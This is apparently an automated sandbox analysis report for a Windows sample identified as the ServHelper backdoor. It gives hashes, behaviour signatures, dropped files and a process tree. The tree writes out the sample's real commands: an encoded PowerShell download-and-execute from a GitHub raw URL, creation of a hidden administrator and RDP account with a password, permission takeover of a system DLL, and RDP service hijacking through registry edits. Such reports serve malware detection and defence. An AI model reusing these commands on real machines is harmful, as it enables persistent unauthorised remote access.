Analysis

  • max time kernel
    138s
  • max time network
    39s
  • platform
    windows7_x64
  • resource
    win7-en-20210920
  • submitted
    24-09-2021 19:05

General

  • Target

    5367615a3d3f95eeab592a53716ed3bb.exe

  • Size

    5.7MB

  • MD5

    5367615a3d3f95eeab592a53716ed3bb

  • SHA1

    8592c6e78aa592d9f135dbe9d97cf2f524dbeaed

  • SHA256

    af7e2ecb8e84ad61c276347e0e766e21a043f2119dacb19ae538bddf5d0452f0

  • SHA512

    383fada6525e8ced7cc40c14d6cb6718583da6dca4f7db2654c15c0842a692d2011364da6f53690f005ed33f90606e81836eefeb8df04de655904fa5776b8790

Malware Config

Extracted

Language
ps1
Deobfuscated
URLs
ps1.dropper

https://raw.githubusercontent.com/sqlitey/sqlite/master/speed.ps1

Signatures

  • ServHelper

    ServHelper is a backdoor written in Delphi and is associated with the hacking group TA505.

  • Grants admin privileges 1 TTPs

    Uses net.exe to modify the user's privileges.

  • Blocklisted process makes network request 2 IoCs
  • Modifies RDP port number used by Windows 1 TTPs
  • Possible privilege escalation attempt 8 IoCs
  • Sets DLL path for service in the registry 2 TTPs
  • UPX packed file 2 IoCs

    Detects executables packed with UPX/modified UPX open source packer.

  • Loads dropped DLL 2 IoCs
  • Modifies file permissions 1 TTPs 8 IoCs
  • Drops file in System32 directory 1 IoCs
  • Drops file in Windows directory 9 IoCs
  • Modifies data under HKEY_USERS 4 IoCs
  • Modifies registry key 1 TTPs 1 IoCs
  • Runs net.exe
  • Suspicious behavior: EnumeratesProcesses 8 IoCs
  • Suspicious behavior: LoadsDriver 5 IoCs
  • Suspicious use of AdjustPrivilegeToken 18 IoCs
  • Suspicious use of WriteProcessMemory 64 IoCs

Processes

  • C:\Users\Admin\AppData\Local\Temp\5367615a3d3f95eeab592a53716ed3bb.exe
    "C:\Users\Admin\AppData\Local\Temp\5367615a3d3f95eeab592a53716ed3bb.exe"
    1⤵
    • Suspicious use of WriteProcessMemory
    PID:1756
    • C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe
      "powershell.exe" -ep bypass & 'C:\Users\Admin\AppData\Local\Temp\\ready.ps1'
      2⤵
      • Drops file in System32 directory
      • Drops file in Windows directory
      • Suspicious behavior: EnumeratesProcesses
      • Suspicious use of AdjustPrivilegeToken
      • Suspicious use of WriteProcessMemory
      PID:952
      • C:\Windows\Microsoft.NET\Framework64\v2.0.50727\csc.exe
        "C:\Windows\Microsoft.NET\Framework64\v2.0.50727\csc.exe" /noconfig /fullpaths @"C:\Users\Admin\AppData\Local\Temp\kc8kvr8p.cmdline"
        3⤵
        • Suspicious use of WriteProcessMemory
        PID:856
        • C:\Windows\Microsoft.NET\Framework64\v2.0.50727\cvtres.exe
          C:\Windows\Microsoft.NET\Framework64\v2.0.50727\cvtres.exe /NOLOGO /READONLY /MACHINE:IX86 "/OUT:C:\Users\Admin\AppData\Local\Temp\RESEB87.tmp" "c:\Users\Admin\AppData\Local\Temp\CSCEB86.tmp"
          4⤵
            PID:540
        • C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe
          "C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe" -s -NoLogo -NoProfile
          3⤵
          • Suspicious behavior: EnumeratesProcesses
          • Suspicious use of AdjustPrivilegeToken
          PID:1808
        • C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe
          "C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe" -s -NoLogo -NoProfile
          3⤵
          • Suspicious behavior: EnumeratesProcesses
          • Suspicious use of AdjustPrivilegeToken
          PID:1508
        • C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe
          "C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe" -s -NoLogo -NoProfile
          3⤵
          • Suspicious behavior: EnumeratesProcesses
          • Suspicious use of AdjustPrivilegeToken
          PID:1960
        • C:\Windows\system32\takeown.exe
          "C:\Windows\system32\takeown.exe" /A /F rfxvmt.dll
          3⤵
          • Possible privilege escalation attempt
          • Modifies file permissions
          PID:1564
        • C:\Windows\system32\icacls.exe
          "C:\Windows\system32\icacls.exe" rfxvmt.dll /inheritance:d
          3⤵
          • Possible privilege escalation attempt
          • Modifies file permissions
          PID:1560
        • C:\Windows\system32\icacls.exe
          "C:\Windows\system32\icacls.exe" rfxvmt.dll /setowner "NT SERVICE\TrustedInstaller"
          3⤵
          • Possible privilege escalation attempt
          • Modifies file permissions
          • Suspicious use of AdjustPrivilegeToken
          PID:856
        • C:\Windows\system32\icacls.exe
          "C:\Windows\system32\icacls.exe" rfxvmt.dll /grant "NT SERVICE\TrustedInstaller:F"
          3⤵
          • Possible privilege escalation attempt
          • Modifies file permissions
          PID:1856
        • C:\Windows\system32\icacls.exe
          "C:\Windows\system32\icacls.exe" rfxvmt.dll /remove "NT AUTHORITY\SYSTEM"
          3⤵
          • Possible privilege escalation attempt
          • Modifies file permissions
          PID:612
        • C:\Windows\system32\icacls.exe
          "C:\Windows\system32\icacls.exe" rfxvmt.dll /grant "NT AUTHORITY\SYSTEM:RX"
          3⤵
          • Possible privilege escalation attempt
          • Modifies file permissions
          PID:1608
        • C:\Windows\system32\icacls.exe
          "C:\Windows\system32\icacls.exe" rfxvmt.dll /remove BUILTIN\Administrators
          3⤵
          • Possible privilege escalation attempt
          • Modifies file permissions
          PID:1980
        • C:\Windows\system32\icacls.exe
          "C:\Windows\system32\icacls.exe" rfxvmt.dll /grant BUILTIN\Administrators:RX
          3⤵
          • Possible privilege escalation attempt
          • Modifies file permissions
          PID:1088
        • C:\Windows\system32\reg.exe
          "C:\Windows\system32\reg.exe" ADD "HKLM\System\CurrentControlSet\Control\Terminal Server\WinStations\RDP-Tcp" /v PortNumber /t REG_DWORD /d 0x1C21 /f
          3⤵
            PID:392
          • C:\Windows\system32\reg.exe
            "C:\Windows\system32\reg.exe" add HKLM\system\currentcontrolset\services\TermService\parameters /v ServiceDLL /t REG_EXPAND_SZ /d C:\Windows\branding\mediasrv.png /f
            3⤵
            • Modifies registry key
            PID:812
          • C:\Windows\system32\reg.exe
            "C:\Windows\system32\reg.exe" add "HKLM\SOFTWARE\Policies\Microsoft\Windows NT\Terminal Services" /v fEnableWddmDriver /t reg_dword /d 0 /f
            3⤵
              PID:1820
            • C:\Windows\system32\net.exe
              "C:\Windows\system32\net.exe" localgroup Administrators "NT AUTHORITY\NETWORK SERVICE" /add
              3⤵
              • Suspicious use of WriteProcessMemory
              PID:1400
              • C:\Windows\system32\net1.exe
                C:\Windows\system32\net1 localgroup Administrators "NT AUTHORITY\NETWORK SERVICE" /add
                4⤵
                  PID:732
              • C:\Windows\system32\cmd.exe
                "C:\Windows\system32\cmd.exe" /c cmd /c net start rdpdr
                3⤵
                • Suspicious use of WriteProcessMemory
                PID:1636
                • C:\Windows\system32\cmd.exe
                  cmd /c net start rdpdr
                  4⤵
                  • Suspicious use of WriteProcessMemory
                  PID:556
                  • C:\Windows\system32\net.exe
                    net start rdpdr
                    5⤵
                      PID:1556
                      • C:\Windows\system32\net1.exe
                        C:\Windows\system32\net1 start rdpdr
                        6⤵
                          PID:1740
                  • C:\Windows\system32\cmd.exe
                    "C:\Windows\system32\cmd.exe" /c cmd /c net start TermService
                    3⤵
                      PID:892
                      • C:\Windows\system32\cmd.exe
                        cmd /c net start TermService
                        4⤵
                          PID:1948
                          • C:\Windows\system32\net.exe
                            net start TermService
                            5⤵
                              PID:944
                              • C:\Windows\system32\net1.exe
                                C:\Windows\system32\net1 start TermService
                                6⤵
                                  PID:1968
                          • C:\Windows\system32\cmd.exe
                            "C:\Windows\system32\cmd.exe" /c del %temp%\*.ps1 /f
                            3⤵
                              PID:1516
                            • C:\Windows\system32\cmd.exe
                              "C:\Windows\system32\cmd.exe" /c del %temp%\*.txt /f
                              3⤵
                                PID:1528
                          • C:\Windows\System32\cmd.exe
                            cmd /C net.exe user wgautilacc Ghar4f5 /del
                            1⤵
                              PID:1292
                              • C:\Windows\system32\net.exe
                                net.exe user wgautilacc Ghar4f5 /del
                                2⤵
                                  PID:1384
                                  • C:\Windows\system32\net1.exe
                                    C:\Windows\system32\net1 user wgautilacc Ghar4f5 /del
                                    3⤵
                                      PID:1260
                                • C:\Windows\System32\cmd.exe
                                  cmd /C net.exe user wgautilacc OLe9MZ8B /add
                                  1⤵
                                    PID:928
                                    • C:\Windows\system32\net.exe
                                      net.exe user wgautilacc OLe9MZ8B /add
                                      2⤵
                                        PID:1352
                                        • C:\Windows\system32\net1.exe
                                          C:\Windows\system32\net1 user wgautilacc OLe9MZ8B /add
                                          3⤵
                                            PID:784
                                      • C:\Windows\System32\cmd.exe
                                        cmd /C net.exe LOCALGROUP "Remote Desktop Users" wgautilacc /ADD
                                        1⤵
                                          PID:816
                                          • C:\Windows\system32\net.exe
                                            net.exe LOCALGROUP "Remote Desktop Users" wgautilacc /ADD
                                            2⤵
                                              PID:612
                                              • C:\Windows\system32\net1.exe
                                                C:\Windows\system32\net1 LOCALGROUP "Remote Desktop Users" wgautilacc /ADD
                                                3⤵
                                                  PID:1984
                                            • C:\Windows\System32\cmd.exe
                                              cmd /C net.exe LOCALGROUP "Remote Desktop Users" JZCKHXIN$ /ADD
                                              1⤵
                                                PID:1304
                                                • C:\Windows\system32\net.exe
                                                  net.exe LOCALGROUP "Remote Desktop Users" JZCKHXIN$ /ADD
                                                  2⤵
                                                    PID:1812
                                                    • C:\Windows\system32\net1.exe
                                                      C:\Windows\system32\net1 LOCALGROUP "Remote Desktop Users" JZCKHXIN$ /ADD
                                                      3⤵
                                                        PID:1412
                                                  • C:\Windows\System32\cmd.exe
                                                    cmd /C net.exe LOCALGROUP "Administrators" wgautilacc /ADD
                                                    1⤵
                                                      PID:1868
                                                      • C:\Windows\system32\net.exe
                                                        net.exe LOCALGROUP "Administrators" wgautilacc /ADD
                                                        2⤵
                                                          PID:1400
                                                          • C:\Windows\system32\net1.exe
                                                            C:\Windows\system32\net1 LOCALGROUP "Administrators" wgautilacc /ADD
                                                            3⤵
                                                              PID:1532
                                                        • C:\Windows\System32\cmd.exe
                                                          cmd /C net.exe user wgautilacc OLe9MZ8B
                                                          1⤵
                                                            PID:556
                                                            • C:\Windows\system32\net.exe
                                                              net.exe user wgautilacc OLe9MZ8B
                                                              2⤵
                                                                PID:1728
                                                                • C:\Windows\system32\net1.exe
                                                                  C:\Windows\system32\net1 user wgautilacc OLe9MZ8B
                                                                  3⤵
                                                                    PID:1604
                                                              • C:\Windows\System32\cmd.exe
                                                                cmd.exe /C wmic path win32_VideoController get name
                                                                1⤵
                                                                  PID:1384
                                                                  • C:\Windows\System32\Wbem\WMIC.exe
                                                                    wmic path win32_VideoController get name
                                                                    2⤵
                                                                    • Modifies data under HKEY_USERS
                                                                    • Suspicious use of AdjustPrivilegeToken
                                                                    PID:1112
                                                                • C:\Windows\System32\cmd.exe
                                                                  cmd.exe /C wmic CPU get NAME
                                                                  1⤵
                                                                    PID:928
                                                                    • C:\Windows\System32\Wbem\WMIC.exe
                                                                      wmic CPU get NAME
                                                                      2⤵
                                                                      • Modifies data under HKEY_USERS
                                                                      • Suspicious use of AdjustPrivilegeToken
                                                                      PID:1252
                                                                  • C:\Windows\System32\cmd.exe
                                                                    cmd.exe /C cmd /C powershell -ep bypass -NoProfile -outputformat text -nologo -noninteractive -enc SQBFAFgAIAAoAE4AZQB3AC0ATwBiAGoAZQBjAHQAIABOAGUAdAAuAFcAZQBiAGMAbABpAGUAbgB0ACkALgBkAG8AdwBuAGwAbwBhAGQAcwB0AHIAaQBuAGcAKAAiAGgAdAB0AHAAcwA6AC8ALwByAGEAdwAuAGcAaQB0AGgAdQBiAHUAcwBlAHIAYwBvAG4AdABlAG4AdAAuAGMAbwBtAC8AcwBxAGwAaQB0AGUAeQAvAHMAcQBsAGkAdABlAC8AbQBhAHMAdABlAHIALwBzAHAAZQBlAGQALgBwAHMAMQAiACkA
                                                                    1⤵
                                                                      PID:1984
                                                                      • C:\Windows\system32\cmd.exe
                                                                        cmd /C powershell -ep bypass -NoProfile -outputformat text -nologo -noninteractive -enc SQBFAFgAIAAoAE4AZQB3AC0ATwBiAGoAZQBjAHQAIABOAGUAdAAuAFcAZQBiAGMAbABpAGUAbgB0ACkALgBkAG8AdwBuAGwAbwBhAGQAcwB0AHIAaQBuAGcAKAAiAGgAdAB0AHAAcwA6AC8ALwByAGEAdwAuAGcAaQB0AGgAdQBiAHUAcwBlAHIAYwBvAG4AdABlAG4AdAAuAGMAbwBtAC8AcwBxAGwAaQB0AGUAeQAvAHMAcQBsAGkAdABlAC8AbQBhAHMAdABlAHIALwBzAHAAZQBlAGQALgBwAHMAMQAiACkA
                                                                        2⤵
                                                                          PID:1344
                                                                          • C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe
                                                                            powershell -ep bypass -NoProfile -outputformat text -nologo -noninteractive -enc SQBFAFgAIAAoAE4AZQB3AC0ATwBiAGoAZQBjAHQAIABOAGUAdAAuAFcAZQBiAGMAbABpAGUAbgB0ACkALgBkAG8AdwBuAGwAbwBhAGQAcwB0AHIAaQBuAGcAKAAiAGgAdAB0AHAAcwA6AC8ALwByAGEAdwAuAGcAaQB0AGgAdQBiAHUAcwBlAHIAYwBvAG4AdABlAG4AdAAuAGMAbwBtAC8AcwBxAGwAaQB0AGUAeQAvAHMAcQBsAGkAdABlAC8AbQBhAHMAdABlAHIALwBzAHAAZQBlAGQALgBwAHMAMQAiACkA
                                                                            3⤵
                                                                            • Blocklisted process makes network request
                                                                            • Drops file in Windows directory
                                                                            • Modifies data under HKEY_USERS
                                                                            • Suspicious behavior: EnumeratesProcesses
                                                                            • Suspicious use of AdjustPrivilegeToken
                                                                            PID:1812

                                                                      Network

                                                                      MITRE ATT&CK Enterprise v6

                                                                      Replay Monitor

                                                                      Loading Replay Monitor...

                                                                      Downloads

                                                                      • C:\Users\Admin\AppData\Local\Temp\RESEB87.tmp

                                                                        MD5

                                                                        e2e1064d59e740f85c31ae1fa71225f4

                                                                        SHA1

                                                                        ea173ef135dfd7285a88e56169370f8b78eb11a0

                                                                        SHA256

                                                                        c02e840125d279f892a1375514621bdc6c50d388bc1e65987feb0519177f5a07

                                                                        SHA512

                                                                        0f2e2e189820a6ffeb11f703ecf0bfa440c7831f0efb3eb182983b6818198ae162196fdc33cebc3c0bf6c8f3b44248c0fbe35873bb35b441d81e518cb2a05567

                                                                      • C:\Users\Admin\AppData\Local\Temp\get-dnsprovider.PS1

                                                                        MD5

                                                                        f784c76a5f451d89ecd31dc71a8c26cb

                                                                        SHA1

                                                                        81b9f4163f834ea3cf133e2be9b8b81279e41c6b

                                                                        SHA256

                                                                        8d77e8f87f57c3cc6c5b19ea782763c6a4c3c18ee750357c050543d913e6ac9f

                                                                        SHA512

                                                                        5b8fd465141921c4791739fe5186b615594ae47e16c568fe6a640cb67c21aa25b0e1b5910c3eb56cf3a23ce4c6d251664e132a3007956ed3453dce3d1f713981

                                                                      • C:\Users\Admin\AppData\Local\Temp\kc8kvr8p.dll

                                                                        MD5

                                                                        eaa955de0a4cb151ebdb9fb472e1833c

                                                                        SHA1

                                                                        4ed864910c9886b661096523e6abb91f5064a803

                                                                        SHA256

                                                                        e67721bc91c776035fb0ced875d9c94a16b47d4d2d0d3d57aec203710f079aba

                                                                        SHA512

                                                                        af953a7c5aa0e6c1f9081e8f8ef586d064141cb0b2d2d739d4c73168e7a509a983af4b7aa06c933f74d3071a68b0b14a7046d3da204d3f912466332ed2a67bd4

                                                                      • C:\Users\Admin\AppData\Local\Temp\kc8kvr8p.pdb

                                                                        MD5

                                                                        a693d8eb536e69436a6d016c5ae21538

                                                                        SHA1

                                                                        6c49b9c08763c975dc6c815ce1e629a86b33dc03

                                                                        SHA256

                                                                        d695e4ebb2f1db68776840f0321feb6122cad45f59b6be5a1ae65df816142cfd

                                                                        SHA512

                                                                        ec3375bdffbcb839e716cf0bd790654db6391f11fff1ff1a405449ee9a5477f12bb613c87592b02e9408af39fb61f9f0e4d30578ce2cbeffba4949eab5c66acb

                                                                      • C:\Users\Admin\AppData\Local\Temp\ready.ps1

                                                                        MD5

                                                                        28d9755addec05c0b24cca50dfe3a92b

                                                                        SHA1

                                                                        7d3156f11c7a7fb60d29809caf93101de2681aa3

                                                                        SHA256

                                                                        abb6ceb444b3dc29fcdcb8bda4935a6a792b85bb7049cb2710d97415d9411af9

                                                                        SHA512

                                                                        891a72eeef42be3f04067225a9665020704c99f9c17473ca57e5b946dfa35cb469fa91a794ea30115ce3ed0e940edb3ccff69a16a888379f5ac46a12afaa4c42

                                                                      • C:\Users\Admin\AppData\Roaming\Microsoft\Windows\Recent\CustomDestinations\590aee7bdd69b59b.customDestinations-ms

                                                                        MD5

                                                                        bb5af8bc520a0de48105fc923b6a1d84

                                                                        SHA1

                                                                        0809d53f50f67e47933b5075c45d95228fdf828c

                                                                        SHA256

                                                                        5fc188ee52b3efa71cd4385e987ce5ffd62b4e0b0e6ab3e389c2e7bc1d9a5ab3

                                                                        SHA512

                                                                        fb02e2d24d52b48487426556700c74cf4782aac50b01c8316733e82f9450c6cc0fd722f59e958fa4ac992d05a332722d52319628242949386eb59f7ee544984a

                                                                      • C:\Users\Admin\AppData\Roaming\Microsoft\Windows\Recent\CustomDestinations\590aee7bdd69b59b.customDestinations-ms

                                                                        MD5

                                                                        bb5af8bc520a0de48105fc923b6a1d84

                                                                        SHA1

                                                                        0809d53f50f67e47933b5075c45d95228fdf828c

                                                                        SHA256

                                                                        5fc188ee52b3efa71cd4385e987ce5ffd62b4e0b0e6ab3e389c2e7bc1d9a5ab3

                                                                        SHA512

                                                                        fb02e2d24d52b48487426556700c74cf4782aac50b01c8316733e82f9450c6cc0fd722f59e958fa4ac992d05a332722d52319628242949386eb59f7ee544984a

                                                                      • C:\Users\Admin\AppData\Roaming\Microsoft\Windows\Recent\CustomDestinations\590aee7bdd69b59b.customDestinations-ms

                                                                        MD5

                                                                        bb5af8bc520a0de48105fc923b6a1d84

                                                                        SHA1

                                                                        0809d53f50f67e47933b5075c45d95228fdf828c

                                                                        SHA256

                                                                        5fc188ee52b3efa71cd4385e987ce5ffd62b4e0b0e6ab3e389c2e7bc1d9a5ab3

                                                                        SHA512

                                                                        fb02e2d24d52b48487426556700c74cf4782aac50b01c8316733e82f9450c6cc0fd722f59e958fa4ac992d05a332722d52319628242949386eb59f7ee544984a

                                                                      • C:\Windows\system32\rfxvmt.dll

                                                                        MD5

                                                                        dc39d23e4c0e681fad7a3e1342a2843c

                                                                        SHA1

                                                                        58fd7d50c2dca464a128f5e0435d6f0515e62073

                                                                        SHA256

                                                                        6d9a41a03a3bd5362e3af24f97ba99d2f9927d1375e4f608942a712866d133b9

                                                                        SHA512

                                                                        5cb75e04ce9f5c3714e30c4fd5b8dbcd3952c3d756556dd76206111fe5b4e980c6c50209ab0914ab3afe15bd9c33ff0d49463ca11547214122859918de2a58f7

                                                                      • \??\PIPE\samr

                                                                        MD5

                                                                        d41d8cd98f00b204e9800998ecf8427e

                                                                        SHA1

                                                                        da39a3ee5e6b4b0d3255bfef95601890afd80709

                                                                        SHA256

                                                                        e3b0c44298fc1c149afbf4c8996fb92427ae41e4649b934ca495991b7852b855

                                                                        SHA512

                                                                        cf83e1357eefb8bdf1542850d66d8007d620e4050b5715dc83f4a921d36ce9ce47d0d13c5d85f2b0ff8318d2877eec2f63b931bd47417a81a538327af927da3e

                                                                      • \??\c:\Users\Admin\AppData\Local\Temp\CSCEB86.tmp

                                                                        MD5

                                                                        26dec704e8c5158fafde77c6a5fa9f21

                                                                        SHA1

                                                                        fb5a976d97336e074e7117a9d1cf2fbe09f555da

                                                                        SHA256

                                                                        b8fa5a80fa261e3ba83972adcff6823925280cd046817c47a49a09662e5ac685

                                                                        SHA512

                                                                        02b6dff4d11c79f42304d637dd1bab0c94798f5361190444c8163969d1b780de570dce5357a8ec64b17a3bc766e3d03fd52e6b8c9709c203b70d52a982598f93

                                                                      • \??\c:\Users\Admin\AppData\Local\Temp\kc8kvr8p.0.cs

                                                                        MD5

                                                                        9f8ab7eb0ab21443a2fe06dab341510e

                                                                        SHA1

                                                                        2b88b3116a79e48bab7114e18c9b9674e8a52165

                                                                        SHA256

                                                                        e1a4fbe36125e02e100e729ce92ab74869423da87cb46da6e3c50d7c4410b2d9

                                                                        SHA512

                                                                        53f5dc4c853af5a412fde895635ef4b2de98a165e3546130fdd17a37a5c3b177e21eccf70a5ddf936ac491da2d7e8fcdbc1e564a95ec01b097841aa78869989b

                                                                      • \??\c:\Users\Admin\AppData\Local\Temp\kc8kvr8p.cmdline

                                                                        MD5

                                                                        37d6e0a043f15f4b8cea2b3f476f8034

                                                                        SHA1

                                                                        e66c4cc52abce51619d85d5e55f94d66330cbd1f

                                                                        SHA256

                                                                        d54d9ab4d61a4bb439c81b568d61a7089121b8880aff53bbbb1b23c319794ef8

                                                                        SHA512

                                                                        8e923dda15a7c98b6aff96ce65cb1c912eb8ae03e1059647c8d7334bc90e6a3b7980b48a467b148f00c158bf5dee5b2cb6355a8c18d48c3e1e83d5c756d94323

                                                                      • \Windows\Branding\mediasrv.png

                                                                        MD5

                                                                        02de1d05ec7c49607d0469e7731760c6

                                                                        SHA1

                                                                        39f0cddc616ab7ccfd0030f9aa257d6603373fb6

                                                                        SHA256

                                                                        dcb3e99447dd9c7093c425de2dc13d18342299d6b3876542c8b18542b80ec9eb

                                                                        SHA512

                                                                        a33b3da342c96816477347e0dfb6a54b2202990370260aa7fb3de6774c6868a9abef8ec1c794115d927432346153663a600142ca86701adaf1cde2b28f749f82

                                                                      • \Windows\Branding\mediasvc.png

                                                                        MD5

                                                                        a82cc23d45b8e1de9897fa40dbfebecb

                                                                        SHA1

                                                                        16590d3f0a035e0c01a9959593dd35b5d417a18e

                                                                        SHA256

                                                                        300f336a781a00987d35d4db230a14f96d3566ad324d8a5f9b0193095ef3d821

                                                                        SHA512

                                                                        b644dc69e2937ce23dd0e49f19bf1541f3e72fc9d1ff1a27d9ec009ad908fc19d8470c11dfe49a305cc9db278d684c31553107f8f4808a157e6c2a3873f5025a

                                                                      • memory/392-118-0x0000000000000000-mapping.dmp

                                                                      • memory/540-70-0x0000000000000000-mapping.dmp

                                                                      • memory/556-124-0x0000000000000000-mapping.dmp

                                                                      • memory/612-114-0x0000000000000000-mapping.dmp

                                                                      • memory/612-138-0x0000000000000000-mapping.dmp

                                                                      • memory/732-122-0x0000000000000000-mapping.dmp

                                                                      • memory/784-136-0x0000000000000000-mapping.dmp

                                                                      • memory/812-119-0x0000000000000000-mapping.dmp

                                                                      • memory/856-76-0x0000000002130000-0x0000000002132000-memory.dmp

                                                                        Filesize

                                                                        8KB

                                                                      • memory/856-112-0x0000000000000000-mapping.dmp

                                                                      • memory/856-67-0x0000000000000000-mapping.dmp

                                                                      • memory/892-127-0x0000000000000000-mapping.dmp

                                                                      • memory/944-129-0x0000000000000000-mapping.dmp

                                                                      • memory/952-78-0x000000000266D000-0x000000000266E000-memory.dmp

                                                                        Filesize

                                                                        4KB

                                                                      • memory/952-65-0x0000000002644000-0x0000000002647000-memory.dmp

                                                                        Filesize

                                                                        12KB

                                                                      • memory/952-60-0x0000000000000000-mapping.dmp

                                                                      • memory/952-63-0x0000000002640000-0x0000000002642000-memory.dmp

                                                                        Filesize

                                                                        8KB

                                                                      • memory/952-61-0x000007FEFC271000-0x000007FEFC273000-memory.dmp

                                                                        Filesize

                                                                        8KB

                                                                      • memory/952-62-0x000007FEEB3B0000-0x000007FEEBF0D000-memory.dmp

                                                                        Filesize

                                                                        11.4MB

                                                                      • memory/952-64-0x0000000002642000-0x0000000002644000-memory.dmp

                                                                        Filesize

                                                                        8KB

                                                                      • memory/952-75-0x000000000264B000-0x000000000266A000-memory.dmp

                                                                        Filesize

                                                                        124KB

                                                                      • memory/1088-117-0x0000000000000000-mapping.dmp

                                                                      • memory/1112-146-0x0000000000000000-mapping.dmp

                                                                      • memory/1252-147-0x0000000000000000-mapping.dmp

                                                                      • memory/1260-134-0x0000000000000000-mapping.dmp

                                                                      • memory/1344-148-0x0000000000000000-mapping.dmp

                                                                      • memory/1352-135-0x0000000000000000-mapping.dmp

                                                                      • memory/1384-133-0x0000000000000000-mapping.dmp

                                                                      • memory/1400-121-0x0000000000000000-mapping.dmp

                                                                      • memory/1400-142-0x0000000000000000-mapping.dmp

                                                                      • memory/1412-141-0x0000000000000000-mapping.dmp

                                                                      • memory/1508-95-0x0000000002632000-0x0000000002634000-memory.dmp

                                                                        Filesize

                                                                        8KB

                                                                      • memory/1508-93-0x0000000002634000-0x0000000002637000-memory.dmp

                                                                        Filesize

                                                                        12KB

                                                                      • memory/1508-100-0x000000000263C000-0x000000000265B000-memory.dmp

                                                                        Filesize

                                                                        124KB

                                                                      • memory/1508-97-0x000000001B920000-0x000000001BC1F000-memory.dmp

                                                                        Filesize

                                                                        3.0MB

                                                                      • memory/1508-96-0x0000000002637000-0x0000000002638000-memory.dmp

                                                                        Filesize

                                                                        4KB

                                                                      • memory/1508-88-0x0000000000000000-mapping.dmp

                                                                      • memory/1508-92-0x000007FEEB3B0000-0x000007FEEBF0D000-memory.dmp

                                                                        Filesize

                                                                        11.4MB

                                                                      • memory/1508-94-0x0000000002630000-0x0000000002632000-memory.dmp

                                                                        Filesize

                                                                        8KB

                                                                      • memory/1516-156-0x0000000000000000-mapping.dmp

                                                                      • memory/1528-157-0x0000000000000000-mapping.dmp

                                                                      • memory/1532-143-0x0000000000000000-mapping.dmp

                                                                      • memory/1556-125-0x0000000000000000-mapping.dmp

                                                                      • memory/1560-111-0x0000000000000000-mapping.dmp

                                                                      • memory/1564-109-0x0000000000000000-mapping.dmp

                                                                      • memory/1604-145-0x0000000000000000-mapping.dmp

                                                                      • memory/1608-115-0x0000000000000000-mapping.dmp

                                                                      • memory/1636-123-0x0000000000000000-mapping.dmp

                                                                      • memory/1728-144-0x0000000000000000-mapping.dmp

                                                                      • memory/1740-126-0x0000000000000000-mapping.dmp

                                                                      • memory/1756-58-0x0000000041486000-0x0000000041487000-memory.dmp

                                                                        Filesize

                                                                        4KB

                                                                      • memory/1756-59-0x0000000041487000-0x0000000041488000-memory.dmp

                                                                        Filesize

                                                                        4KB

                                                                      • memory/1756-57-0x0000000041484000-0x0000000041486000-memory.dmp

                                                                        Filesize

                                                                        8KB

                                                                      • memory/1756-54-0x0000000041900000-0x0000000041CFF000-memory.dmp

                                                                        Filesize

                                                                        4.0MB

                                                                      • memory/1756-56-0x0000000041482000-0x0000000041484000-memory.dmp

                                                                        Filesize

                                                                        8KB

                                                                      • memory/1808-85-0x0000000002764000-0x0000000002767000-memory.dmp

                                                                        Filesize

                                                                        12KB

                                                                      • memory/1808-86-0x0000000002767000-0x0000000002768000-memory.dmp

                                                                        Filesize

                                                                        4KB

                                                                      • memory/1808-84-0x0000000002762000-0x0000000002764000-memory.dmp

                                                                        Filesize

                                                                        8KB

                                                                      • memory/1808-82-0x000007FEEB3B0000-0x000007FEEBF0D000-memory.dmp

                                                                        Filesize

                                                                        11.4MB

                                                                      • memory/1808-87-0x000000001B830000-0x000000001BB2F000-memory.dmp

                                                                        Filesize

                                                                        3.0MB

                                                                      • memory/1808-91-0x000000000276C000-0x000000000278B000-memory.dmp

                                                                        Filesize

                                                                        124KB

                                                                      • memory/1808-83-0x0000000002760000-0x0000000002762000-memory.dmp

                                                                        Filesize

                                                                        8KB

                                                                      • memory/1808-79-0x0000000000000000-mapping.dmp

                                                                      • memory/1812-153-0x0000000001342000-0x0000000001344000-memory.dmp

                                                                        Filesize

                                                                        8KB

                                                                      • memory/1812-152-0x0000000001340000-0x0000000001342000-memory.dmp

                                                                        Filesize

                                                                        8KB

                                                                      • memory/1812-154-0x0000000001344000-0x0000000001347000-memory.dmp

                                                                        Filesize

                                                                        12KB

                                                                      • memory/1812-151-0x000007FEEB3B0000-0x000007FEEBF0D000-memory.dmp

                                                                        Filesize

                                                                        11.4MB

                                                                      • memory/1812-140-0x0000000000000000-mapping.dmp

                                                                      • memory/1812-149-0x0000000000000000-mapping.dmp

                                                                      • memory/1812-155-0x000000000134B000-0x000000000136A000-memory.dmp

                                                                        Filesize

                                                                        124KB

                                                                      • memory/1820-120-0x0000000000000000-mapping.dmp

                                                                      • memory/1856-113-0x0000000000000000-mapping.dmp

                                                                      • memory/1948-128-0x0000000000000000-mapping.dmp

                                                                      • memory/1960-102-0x000007FEEB3B0000-0x000007FEEBF0D000-memory.dmp

                                                                        Filesize

                                                                        11.4MB

                                                                      • memory/1960-98-0x0000000000000000-mapping.dmp

                                                                      • memory/1960-103-0x000000001B8D0000-0x000000001BBCF000-memory.dmp

                                                                        Filesize

                                                                        3.0MB

                                                                      • memory/1960-104-0x00000000026F0000-0x00000000026F2000-memory.dmp

                                                                        Filesize

                                                                        8KB

                                                                      • memory/1960-105-0x00000000026F2000-0x00000000026F4000-memory.dmp

                                                                        Filesize

                                                                        8KB

                                                                      • memory/1960-106-0x00000000026F4000-0x00000000026F7000-memory.dmp

                                                                        Filesize

                                                                        12KB

                                                                      • memory/1960-107-0x00000000026F7000-0x00000000026F8000-memory.dmp

                                                                        Filesize

                                                                        4KB

                                                                      • memory/1960-108-0x00000000026FC000-0x000000000271B000-memory.dmp

                                                                        Filesize

                                                                        124KB

                                                                      • memory/1968-130-0x0000000000000000-mapping.dmp

                                                                      • memory/1980-116-0x0000000000000000-mapping.dmp

                                                                      • memory/1984-139-0x0000000000000000-mapping.dmp